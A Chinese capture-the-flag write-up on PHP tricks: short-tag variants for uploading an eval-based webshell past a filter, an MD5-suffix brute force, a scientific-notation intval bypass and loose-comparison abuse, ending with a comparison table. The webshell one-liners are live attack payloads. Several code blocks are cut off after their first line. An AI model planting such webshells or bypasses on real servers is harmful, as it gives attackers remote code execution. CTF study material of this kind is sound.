php短标签绕过
在easyupload中,我们使用常见的<?php @eval($_POST['pass']);?>
并不能上传成功,这时我们需要绕过。
php中的特殊标签
- 当仅禁用
<?php
时,可以使用<? ?>
要求:需要开启短标签开关,short_open_tag
- 当禁用
<?php
以及?>
时,还可以使用<?= 不需要闭合标签
要求:PHP版本>PHP 5.4.0
- 禁用了
<?、 <?php、 ?>
时,可以使用asp标签<% %>
要求:asp_tags设成On
把木马改为<?=@eval($_POST[1]);?>
就能成功上传。
PHP
特殊的md5值
在easyphp中需要我们满足条件
1 | '8b184b' === substr(md5($b),-6,6)) |
也就是最后6个字符是8b184b的md5值,这里用python脚本暴力破解。
1 | import hashlib# 用于计算 MD5 哈希 |
运行得到Found: ‘bDIOS’ -> 9126f37d5c0f9f7473fedf0f0e8b184b
科学计数法绕过
1 | intval($a) > 6000000 && strlen($a) <= 3 |
遇到这种既要大于600000又要字符串长度小于3的,我们可以使用科学计数法如7e6就是7*10^6。
松散比较
在做eazyphp时候遇到没开启严格比较的array_search遂可以利用它松散比较的特性。
1 | $d = array_search("DGGJ", $c["n"]); |
这里用array_search搜索”DGGJ”,但后来又不能有”DGGJ”,可以利用==
的若比较,若把整数与字符串比较,那么字符串就会优先转化成整数,这里是0=="DGGJ"
,那DGGJ被转化成整数就是0。
其他类型的比较规则如下
对于多种类型,比较运算符根据下表比较(按顺序)。
运算数1 类型 | 运算数2 类型 | 结果 |
---|---|---|
null 或 string | string | 将 NULL 转换为 “”,进行数字或词汇比较 |
bool 或 null | 任何其它类型 | 转换为 bool,FALSE < TRUE |
object | object | 内置类可以定义自己的比较,不同类不能比较,相同类和数组同样方式比较属性(PHP 4 中),PHP 5 有其自己的说明 |
string,resource 或 number | string,resource 或 number | 将字符串和资源转换成数字,按普通数学比较 |
array | array | 具有较少成员的数组较小,如果运算数 1 中的键不存在于运算数 2 中则数组无法比较,否则挨个值比较(见下例) |
object | 任何其它类型 | object 总是更大 |
array | 任何其它类型 | array 总是更大 |